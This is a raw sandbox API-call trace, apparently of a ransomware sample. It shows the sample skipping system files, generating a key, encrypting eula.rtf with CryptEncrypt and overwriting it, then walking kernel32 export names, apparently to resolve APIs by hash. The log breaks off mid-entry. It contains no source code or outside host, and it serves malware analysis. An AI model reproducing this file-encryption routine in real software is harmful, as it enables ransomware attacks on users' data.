(lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0132.574] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0132.574] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0132.574] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0132.574] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0132.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\") returned 27 [0132.574] lstrlenW (lpString="eula.rtf") returned 8 [0132.574] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1049\\" | out: lpString1="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\" [0132.574] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1049\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned="C:\\588bce7c90097ed212\\1049\\eula.rtf" [0132.574] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0132.574] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0132.575] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=54456) returned 1 [0132.575] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0132.575] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0132.873] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0132.873] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0132.873] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0132.874] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0132.874] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0132.958] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.959] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0132.959] CloseHandle (hObject=0x5f8) returned 1 [0132.959] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.960] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0132.960] CloseHandle (hObject=0x0) returned 0 [0132.960] CloseHandle (hObject=0x5f4) returned 1 [0132.962] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.963] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.963] GetTickCount () returned 0x36989 [0132.963] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0132.963] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0132.963] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0132.964] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0132.964] lstrlenA (lpString="kernel32.dll") returned 12 [0132.964] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0132.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0132.964] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0132.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0132.964] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0132.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0132.964] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0132.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0132.964] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0132.964] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0132.964] lstrlenA (lpString="ADDATOMA") returned 8 [0132.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0132.965] lstrlenA (lpString="ADDATOMW") returned 8 [0132.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0132.965] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0132.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0132.965] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0132.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0132.965] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0132.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0132.965] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0132.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0132.965] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0132.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0132.965] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0132.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0132.965] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0132.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0132.965] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0132.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0132.965] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0132.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0132.965] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0132.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0132.965] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0132.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0132.965] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0132.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0132.965] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0132.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0132.965] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0132.965] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0132.965] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0132.966] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0132.966] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0132.966] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0132.966] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0132.966] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0132.966] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0132.966] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0132.966] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0132.966] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0132.966] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0132.966] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0132.966] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0132.966] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0132.966] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0132.966] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0132.966] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0132.966] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0132.967] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0132.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0132.967] lstrlenA (lpString="BACKUPREAD") returned 10 [0132.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0132.967] lstrlenA (lpString="BACKUPSEEK") returned 10 [0132.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0132.967] lstrlenA (lpString="BACKUPWRITE") returned 11 [0132.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0132.967] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0132.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0132.967] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0132.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0132.967] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0132.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0132.967] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0132.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0132.967] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0132.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0132.967] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0132.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0132.967] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0132.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0132.967] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0132.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0132.967] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0132.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0132.967] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0132.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0132.967] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0132.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0132.967] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0132.967] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0132.968] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0132.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0132.968] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0132.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0132.968] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0132.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0132.968] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0132.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0132.968] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0132.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0132.968] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0132.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0132.968] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0132.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0132.968] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0132.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0132.968] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0132.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0132.968] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0132.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0132.968] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0132.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0132.968] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0132.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0132.968] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0132.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0132.968] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0132.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0132.968] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0132.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0132.968] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0132.968] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0132.968] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0132.969] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0132.969] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0132.969] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0132.969] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0132.969] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0132.969] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0132.969] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0132.969] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0132.969] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0132.969] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0132.969] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0132.969] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0132.969] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0132.969] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0132.969] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0132.969] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0132.969] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0132.970] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0132.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0132.970] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0132.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0132.970] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0132.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0132.970] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0132.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0132.970] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0132.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0132.970] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0132.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0132.970] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0132.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0132.970] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0132.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0132.970] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0132.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0132.970] lstrlenA 